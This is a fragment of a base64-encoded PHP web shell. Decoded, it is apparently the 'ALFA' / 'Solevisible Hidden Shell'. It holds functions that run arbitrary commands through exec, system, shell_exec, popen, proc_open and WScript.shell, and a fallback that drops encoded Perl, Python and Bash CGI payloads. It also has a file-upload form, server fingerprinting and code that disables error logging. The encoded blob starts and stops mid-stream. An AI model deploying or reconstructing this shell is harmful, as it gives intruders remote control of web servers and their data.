2YWx1ZSl7ICAgaWYoIWlzX2FycmF5KCR2YWx1ZSkpeyAgICR2YWx1ZSA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7ICAgJGNzcyAuPSAiLnska2V5fXtjb2xvcjogeyR2YWx1ZX07fSI7ICAgfWVsc2V7ICAgaWYoaXNzZXQoJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdKSl7ICAgZm9yZWFjaCgkdmFsdWVbIm11bHRpX3NlbGVjdG9yIl0gYXMgJGsgPT4gJHYpeyAgICRjb2xvciA9IGFsZmFfZ2V0Q29sb3IoJGtleSk7ICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgie2NvbG9yfSIsICRjb2xvciwgJHYpOyAgICRjc3MgLj0gJGsuInsiLiRjb2RlLiJ9IjsgICB9ICAgfSAgIH0gIAl9ICAJcmV0dXJuICRjc3M7ICB9ICBmdW5jdGlvbiBfYWxmYV9jZ2ljbWQoJGNtZCwkbGFuZz0icGVybCIpeyAgCWlmKGlzc2V0KCRfU0VTU0lPTlsiYWxmYWNnaWFwaV9tb2RlIl0pKXsgICByZXR1cm4gIiI7ICAJfSAgCSRjbWRfcHVyZSA9ICRjbWQ7ICAJJGlzX2N1cmwgPSBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOyAgCSRpc19zb2NrZXQgPSBmdW5jdGlvbl9leGlzdHMoJ2Zzb2Nrb3BlbicpOyAgCWlmKCRpc19jdXJsfHwkaXNfc29ja2V0KXsgICAkcmVjcmVhdGUgPSBmYWxzZTsgICBpZihpc3NldCgkX1NFU1NJT05bImFsZmFjZ2lhcGkiXSkpeyAgIGlmKCFAZmlsZV9leGlzdHMoImFsZmFjZ2lhcGkvIi4kX1NFU1NJT05bImFsZmFjZ2lhcGkiXS4iLmFsZmEiKSl7ICAgJHJlY3JlYXRlID0gdHJ1ZTsgICAkbGFuZyA9ICRfU0VTU0lPTlsiYWxmYWNnaWFwaSJdOyAgIH0gICB9ICAgaWYoIWlzc2V0KCRfU0VTU0lPTlsiYWxmYWNnaWFwaSJdKXx8JHJlY3JlYXRlKXsgICBAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsgICAkcGVybCA9ICdqWkZSVDhJd0ZJWGYvUlhYT3FXTnNLb3hQbEF3UmxpRVJJYks5RVVNR2RzRkdyWXl0MklreS96dGRrTWxKajc0Y3BLZWU4NTNrOTZEZmI3T1VqNlZpaWVZUmdEUTZGZE90QXI4aUU5OUZjWlM3YTB6aEVGLzREU2IxMzZHRitjaVNhWFNRRG9ycFZIcGh0NGsyQVNONzVvdmRCeU4xVmdSSVdmVWN0eW52UGJnM0Q4NkkyOHljTHplc0ZzckFGK0IzQTFISG1GNXZBRnF5VHBZUzl3WWZmTWpvMUl4a2FJZjBwSFg3YnVWWWFSaWRZYXU1N2plNU5aeGI3eGVyV0RpU2lwb1E1WkVVbE4reEwvcXM1VUJCQXZ6QUhvQ3RnM1dnYkZ6TTN1MjVBdTBQeURqNDJNT2ZDN29iamZia2RwYlVwbXV3eGtUWldoYk82UzJ6WGppQjB0S0FsS0hCYjVUNjVReFBrZFJRdjZSa2lvdmVRWFliU0RqRXdKeUJqVEVtVlFZMHA4cFk3K1RKVndVNWJjYWx3UnhTQXFXYnk4UllyQUtjVEt0cnZNMVgyQ3dOQW1idEpJVUw0bklOcG5HbVA0VnJWRHMrNm90WGhXSzRoTT0nOyAgICRweSA9ICJiWkRCUzhNd0dNWFB5MTlSNjZFdHpoUms3REEzTDFyeEl0T3QzZ2FqVGI2dHdUUUp5ZGV4SWY3dkpxdk1pUjVDeUh2djkzams4aUx2bk0xcm9YSnp3RVlyZ3ZZd0lRUFJHbTB4WWx1QjlXMS9VVkJWTFNITkNPd1pHUFFwVXpsSHZxUGFEWDFzV0ZjT3hpT3kwYmFOWmdHa2p3SWtYNksyMVJaU1VEdGh0WnA5Skl2aTlhMVlsdXZub255YVB5U1Q1R1crTEpQUGpMQ1dleklVMEMzZ3JwSWRwSWtYRTI4MXdONy9NWVBzYldPRndpaSsxd3BCNFRVZURFd1E5cGczMk1xVlhhbHdZaUkya2E4TDg0LzVmakd0eHlNT1RITklqM1haVlR3MUZ1NWlNbUNOa0h6dGtBczFqRTRQM2FGZm9oMDEyb0M2U2YvV3REekxmdEdVU2UzQ0J3NHN1RTRHL3J5T1dxaDRlbzRFOGNUMGEzdVNPclRDL0tqeE5EK08vUUk9IjsgICAkYmFzaCA9ICJyVlJkajVwQUZIMnV2K0k2REdhMUlheWJwZzlhbXJSYm9wdFliVjM2MEpRR1dSaUZ5UEk1V3JlVS85NWhvQ3lqc2ZGaDUybm0zbk0venVUY0szWFZCejlVSCt6TTZ4REhpMEFoZ0c2amtKS1FLdlFwSmlPZzVFQlZqejRHWm1pR3FMUGVoUTcxb3hDY2pXOXRDTFcrTE80TmEyK24yVlUvN3dBN1B3RGhwZjcxbTg3c24zVmp1dmlFb0tzQktvRUlma0t2QnltaHV6U3MwVjFRZnJNUUZyRDhidDBieTd2NXhEcUg1Y2pieGR6UTU0WTEwK2NUWXlyQ1hxWEVka0dad3hFS1R0THpqSFZVSWRKeWlSTzVoSEY2cG9RbFVFSUN3NU9lZ3NpeEE5Z0RCWSsvcVlad1BsVFYxeW9Vc295NDdaZm5CNlJNa2t1MEFHVkQ0Um9VbXpISmFWSDlqY3hZak1HTk9MdzgrekxOdm1BSVdUYmxRWUVhRHk5QXBZSGNzdm5yQzdKVGo0Uk5SSGs4alVGRzE2T2JRakJYQlpnVkNlYTZJN1Q2cHhPVG5RUE92V0xWNE5ZK3Y3cFJTUGlGUTZ1dy8zdzNVNUdvbi9LekF3bzNaejQ3Z1JpMjdNc3piblBzakFBZWd2OU1icUliZmFIM1JtUjVXd1pGTFoxRU8zYjBST3JqY2ZNc2xTUG1QcG1EQ3lwejhObnlsZmQ4RHg4WHh2UkYrYjBNaGFTNG5BYkpiSWRmTXM5ZjArcW1JY0FERUNlbXJwd2NqMGZNQzhweXJ6MFoyOUlZeTdMV05uTFp4dEpBYTltcWRpVWNDK0hsM2hvaVlQUHlZVFpEb0hEbFppcmdMYWoxSU9Hc0ptd0twTWdoamxMSzNGdWtvWld3UWNCRWVHK2lGUklIb3htRWx2NjV0b0RWN2lRN2tqNXArSXFQRDNZZVhmZ0RiRVdUdDI5QVVhclUvV3BkTnhpUE9OdXpxSEtwdjR0VDh0NTBVSWQxRmJCZHdXc1VMYjlhQS80QyI7ICAgaWYoJGxhbmc9PSJwZXJsIikkc291cmNlID0gJHBlcmw7ZWxzZWlmKCRsYW5nPT0icHkiKSRzb3VyY2UgPSAkcHk7ZWxzZSAkc291cmNlID0gJGJhc2g7ICAgYWxmYVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5hbGZhIiwkc291cmNlKTsgICBhbGZhY2dpaHRhY2Nlc3MoJ2NnaScsICJhbGZhY2dpYXBpLyIpOyAgIH1lbHNleyAgICRsYW5nID0gJF9TRVNTSU9OWyJhbGZhY2dpYXBpIl07ICAgfSAgICRjbWQgPSAiY2hlY2s9VzNOdmJHVjJhWE5wWW14bGZtRndhVjA9JmNtZD0iLl9fWlc1amIyUmxjZygiY2QgIi4kR0xPQkFMU1snY3dkJ10uIjsiLiRjbWQpOyAgIGlmKCRpc19jdXJsKXsgICAkYWRkcmVzcyA9ICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMgPyAiaHR0cHM6Ly8iIDogImh0dHA6Ly8iKS4kX1NFUlZFUlsiU0VSVkVSX05BTUUiXS5kaXJuYW1lKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iL2FsZmFjZ2lhcGkvIi4kbGFuZy4iLmFsZmEiOyAgICRwb3N0ID0gbmV3IEFsZmFDVVJMKCk7ICAgJGRhdGEgPSAkcG9zdC0+U2VuZCgkYWRkcmVzcywgInBvc3QiLCAkY21kKTsgICB9ZWxzZWlmKCRpc19zb2NrZXQpeyAgICRzZXJ2ZXIgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXTsgICAkdXJpID0gZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi9hbGZhY2dpYXBpLyIuJGxhbmcuIi5hbGZhIjsgICAkZGF0YSA9IF9hbGZhX2Zzb2Nrb3Blbigkc2VydmVyLCR1cmksJGNtZCk7ICAgfSAgICRvdXQgPSAiIjsgICBpZihzdHJzdHIoJGRhdGEsICJbc29sZXZpc2libGV+YXBpXSIpKXsgICAkX1NFU1NJT05bImFsZmFjZ2lhcGkiXSA9ICRsYW5nOyAgIGlmKEBwcmVnX21hdGNoKCIvPHByZT4oLio/KTxcL3ByZT4vcyIsICRkYXRhLCAkcmVzKSl7ICAgJG91dCA9ICRyZXNbMV07ICAgfSAgIH1lbHNlaWYoJGxhbmc9PSJwZXJsIil7ICAgcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsInB5Iik7ICAgfWVsc2VpZigkbGFuZz09InB5Iil7ICAgcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImJhc2giKTsgICB9ZWxzZXsgICAkX1NFU1NJT05bImFsZmFjZ2lhcGlfbW9kZSJdID0gIm9mZiI7ICAgfSAgIHJldHVybiB0cmltKCRvdXQpOyAgCX1lbHNleyAgIHJldHVybiAiIjsgIAl9ICB9ICBmdW5jdGlvbiBhbGZhRXgoJGluLCRyZT1mYWxzZSwkY2dpPXRydWUsJGFsbD1mYWxzZSl7ICAJJGRhdGEgPSBfYWxmYV9waHBfY21kKCRpbiwkcmUpOyAgCWlmKGVtcHR5KCRkYXRhKSYmJGNnaXx8JGFsbCl7ICAgaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpeyAgIGlmKHN0cmxlbihfYWxmYV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpeyAgICRjbWQgPSBfYWxmYV9jZ2ljbWQoJGluKTsgICBpZighZW1wdHkoJGNtZCkpeyAgIHJldHVybiAkY21kOyAgIH0gICB9ICAgfSAgCX0gIAlyZXR1cm4gJGRhdGE7ICB9ICBmdW5jdGlvbiBfYWxmYV9waHBfY21kKCRpbiwkcmU9ZmFsc2UpeyAgJG91dD0nJzsgIHRyeXsgIGlmKCRyZSkkaW49JGluLiIgMj4mMSI7ICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7ICBAZXhlYygkaW4sJG91dCk7ICAkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7ICBvYl9zdGFydCgpOyAgQHBhc3N0aHJ1KCRpbik7ICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7ICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpeyAgb2Jfc3RhcnQoKTsgIEBzeXN0ZW0oJGluKTsgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3BlbiIpJiZmdW5jdGlvbl9leGlzdHMoInBjbG9zZSIpKXsgIGlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CSAgJG91dCA9ICIiOyAgd2hpbGUoIUBmZW9mKCRmKSkgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7ICBwY2xvc2UoJGYpOyAgfSAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKXsgICRwaXBlcyA9IGFycmF5KCk7ICAkcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOyAgJG91dD1Ac3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOyAgfWVsc2VpZihjbGFzc19leGlzdHMoJ0NPTScpKXsgICRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7ICAkZXhlYyA9ICRhbGZhV3MtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kX1BPU1RbJ2FsZmExJ10pOyAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsgICRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwkgIH0gIH1jYXRjaChFeGNlcHRpb24gJGUpe30gIHJldHVybiAkb3V0OyAgfSAgZnVuY3Rpb24gX2FsZmFfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7ICAJJHNvY2tldCA9IEBmc29ja29wZW4oJHNlcnZlciwgODAsICRlcnJubywgJGVycnN0ciwgMTUpOyAgCWlmKCRzb2NrZXQpeyAgICRodHRwID0gIlBPU1QgeyR1cml9IEhUVFAvMS4wXHJcbiI7ICAgJGh0dHAgLj0gIkhvc3Q6IHskc2VydmVyfVxyXG4iOyAgICRodHRwIC49ICJVc2VyLUFnZW50OiAiIC4gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddIC4gIlxyXG4iOyAgICRodHRwIC49ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG4iOyAgICRodHRwIC49ICJDb250ZW50LWxlbmd0aDogIiAuIHN0cmxlbigkcG9zdCkgLiAiXHJcbiI7ICAgJGh0dHAgLj0gIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iOyAgICRodHRwIC49ICRwb3N0IC4gIlxyXG5cclxuIjsgICBmd3JpdGUoJHNvY2tldCwgJGh0dHApOyAgICAkY29udGVudHMgPSAiIjsgICB3aGlsZSAoIUBmZW9mKCRzb2NrZXQpKSB7ICAgJGNvbnRlbnRzIC49IEBmZ2V0cygkc29ja2V0LCA0MDk2KTsgICB9ICAgbGlzdCgkaGVhZGVyLCAkYm9keSkgPSBleHBsb2RlKCJcclxuXHJcbiIsICRjb250ZW50cywgMik7ICAgQGZjbG9zZSgkc29ja2V0KTsgICByZXR1cm4gJGJvZHk7ICAJfWVsc2V7ICAgcmV0dXJuICIiOyAgCX0gIH0gIGlmKGlzc2V0KCRfR0VUWyJzb2xldmlzaWJsZSJdKSl7QGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTtlY2hvICc8aHRtbD4nO2VjaG8gIjx0aXRsZT5Tb2xldmlzaWJsZSBIaWRkZW4gU2hlbGw8L3RpdGxlPiI7ZWNobyAiPGJvZHkgYmdjb2xvcj0jMDAwMDAwPiI7ZWNobyAnPGI+PGJpZz48Zm9udCBjb2xvcj0jN0NGQzAwPktlcm5lbCA6IDwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkZGIj4nLihmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpP3BocF91bmFtZSgpOic/Pz8nKS4nPC9mb250PjwvYj48L2JpZz4nOyRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7aWYoJHNhZmVfbW9kZSl7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiByZWQnPk9uPC9iPiI7fWVsc2V7JHIgPSAiPGIgc3R5bGU9J2NvbG9yOiBncmVlbic+T2ZmPC9iPiI7fWVjaG8gIjxicj48YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPk9TOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9PUyAuICI8L2ZvbnQ+PGJyPiI7ZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5Tb2Z0d2FyZTogPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPiIgLiAkX1NFUlZFUiBbJ1NFUlZFUl9TT0ZUV0FSRSddIC4gIjwvZm9udD48YnI+IjtlY2hvICJQSFAgVmVyc2lvbjogPGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9WRVJTSU9OIC4gIjwvZm9udD48YnIgLz4iO2VjaG8gIlBXRDo8Zm9udCBjb2xvcj0jRkZGRkZGPiAiIC4gc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGdldGN3ZCgpKSAuICIvPGJyIC8+IjtlY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNhZmUgTW9kZSA6ICRyPGJyPiI7ZWNobyI8Zm9udCBjb2xvcj0jN0NGQzAwPkRpc2FibGUgZnVuY3Rpb25zIDogPC9mb250PiI7JGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyBpZihlbXB0eSgkZGlzZnVuKSl7JGRpc2Z1biA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk5PTkU8L2ZvbnQ+Jzt9ZWNobyI8Zm9udCBjb2xvcj1yZWQ+IjtlY2hvICIkZGlzZnVuIjtlY2hvIjwvZm9udD48YnI+IjtlY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPllvdXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIjwvZm9udD48YnI+IjtlY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNlcnZlciBJcCBBZGRyZXNzIGlzIDogIDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iLihmdW5jdGlvbl9leGlzdHMoJ2dldGhvc3RieW5hbWUnKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOic/Pz8nKS4iPC9mb250Pjxicj48cD4iO2VjaG8gJzxocj48Y2VudGVyPjxmb3JtIG9uU3VibWl0PSJ0aGlzLnVwbG9hZC5kaXNhYmxlZD10cnVlO3RoaXMuY3dkLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jd2QudmFsdWUpKSk7IiBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj4nO2VjaG8gJ0NXRDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN3ZCIgdmFsdWU9Iicuc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGdldGN3ZCgpKS4nLyIgc2l6ZT0iNTkiPjxwPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9InVwbG9hZCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9wPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpe2lmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCBfX1pHVmpiMlJsY2coQCRfUE9TVFsnY3dkJ10pLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpe2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj48L2NlbnRlcj4nOyB9ZWxzZXtlY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj5VcGxvYWQgZmFpbGVkIDooPC9mb250PjwvYT48Zm9udCBjb2xvcj0iIzdDRkMwIj48L2I+PC9jZW50ZXI+PGJyPjxicj4nOyB9fWVjaG8gJzxocj48Zm9ybSBvblN1Ym1pdD0idGhpcy5leGVjdXRlLmRpc2FibGVkPXRydWU7dGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlKSkpOyIgbWV0aG9kPSJQT1NUIj5FeGVjdXRlIENvbW1hbmQ6IDxpbnB1dCBuYW1lPSJjb21tYW5kX3NvbGV2aXNpYmxlIiB2YWx1ZT0iIiBzaXplPSI1OSIgdHlwZT0idGV4dCIgYWxpZ249ImxlZnQiID48aW5wdXQgbmFtZT0iZXhlY3V0ZSIgdmFsdWU9IkV4ZWN1dGUiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT48aHI+PHByZT4nO2lmKGlzc2V0KCRfUE9TVFsnY29tbWFuZF9zb2xldmlzaWJsZSddKSl7aWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOyRzb2xldmlzaWJsZSA9ICJjZCAnIi5hZGRzbGFzaGVzKHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBnZXRjd2QoKSkpLiInIi4kc2VwYXJhdG9yLiIiLl9fWkdWamIyUmxjZygkX1BPU1RbJ2NvbW1hbmRfc29sZXZpc2libGUnXSk7ZWNobyBhbGZhRXgoJHNvbGV2aXNpYmxlKTt9ZWNobyc8L3ByZT48L2JvZHk+PC9odG1sPic7ZXhpdDt9QGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTtAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTtAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7QGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7QGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7QHNldF90aW1lX2xpbWl0KDApO2lmKGZ1bmN0aW9uX2V4aXN0cygnc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lJykpe0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7fWZvcmVhY2goJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlKXtpZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXskaT0wO2ZvcmVhY2goJF9QT1NUWyRrZXldIGFzICRmKSB7JGYgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCRmKSk7JF9QT1NUWyRrZXldWyRpXSA9IGRlY3J5cHRfcG9zdCgkZiwgX0FsZmFTZWNyZXRLZXkoKSk7JGkrKzt9fWVsc2V7JHZhbHVlID0gdHJpbShzdHJfcmVwbGFjZSgnICcsICcrJywkdmFsdWUpKTskX1BPU1RbJGtleV0gPSBkZWNyeXB0X3Bvc3QoJHZhbHVlLCBfQWxmYVNlY3JldEtleSgpKTt9fSRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7JGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOyRkZWZhdWx0X2NoYXJzZXQgPSAnV2luZG93cy0xMjUxJztpZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSk9PSJ3aW4iKSRHTE9CQUxTWydzeXMnXT0nd2luJztlbHNlICRHTE9CQUxTWydzeXMnXT0ndW5peCc7JEdMT0JBTFNbJ2hvbWVfY3dkJ10gPSBAZ2V0Y3dkKCk7aWYoJF9QT1NUWyJhIl0gIT0gIkdldFBhdGhIaXN0b3J5Iil7aWYoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10hPSRfUE9TVFsnYyddKXskX1NFU1NJT05bX19QQVRIX0hJU1RPUllfX10gPSAkX1NFU1NJT05bX19MQVNUX0NXRF9fXTt9fSRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJmYWxzZSI7aWYoaXNzZXQoJF9QT1NUWydjJ10pKXtpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7JEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9IHRydWU7fX0kR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9TRVNTSU9OW19fTEFTVF9DV0RfX10pJiYkX1NFU1NJT05bX19MQVNUX0NXRF9fXSE9JycmJiFpc3NldCgkX1BPU1RbJ2MnXSk/JF9TRVNTSU9OW19fTEFTVF9DV0RfX106QGdldGN3ZCgpKTtpZighQGlzX2Rpcil7JEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpO31pZigkR0xPQkFMU1snc3lzJ10gPT0gJ3dpbicpeyRHTE9CQUxTWydob21lX2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7JEdMT0JBTFNbJ2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snY3dkJ10pOyRfU0VTU0lPTltfX1BBVEhfSElTVE9SWV9fXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJF9TRVNTSU9OW19fUEFUSF9ISVNUT1JZX19dKTt9aWYoJEdMT0JBTFNbJ2N3ZCddW3N0cmxlbigkR0xPQkFMU1snY3dkJ10pLTFdICE9ICcvJyApJEdMT0JBTFNbJ2N3ZCddIC49ICcvJztmdW5jdGlvbiBhbGZhR2V0UGF0aEhpc3RvcnkoKXtlY2hvIChpc3NldCgkX1NFU1NJT05bX19QQVRIX0hJU1RPUllfX10pJiYhZW1wdHkoJF9TRVNTSU9OW19fUEFUSF9ISVNUT1JZX19dKT8kX1NFU1NJT05bX19QQVRIX0hJU1RPUllfX106ICRHTE9CQUxTWydob21lX2N3ZCddKTt9ZnVuY3Rpb24gYWxmYWhlYWQoKXtpZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfYWxmYV9maWxlX2V4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0kR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXSA9ICdQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBseHVQR0p5UGx4dVBHSnlQbHh1UEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVQR05sYm5SbGNqNDhabTl5YlNCdFpYUm9iMlE5SjNCdmMzUW5JR1Z1WTNSNWNHVTlKMjExYkhScGNHRnlkQzltYjNKdExXUmhkR0VuSUc1aGJXVTlKM1Z3Ykc5aFpHVnlKejRpTzJWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNDhMMk5sYm5SbGNqNG5PMmxtS0dsemMyVjBLQ1JmVUU5VFZGc25YM1Z3YkNkZEtTWW1KRjlRVDFOVVd5ZGZkWEJzSjEwOVBTQWlWWEJzYjJGa0lpbDdhV1lvUUcxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2UyVmphRzhnSnp4aVBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQlRkV05qWlhOelpuVnNiSGtnT3lrOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR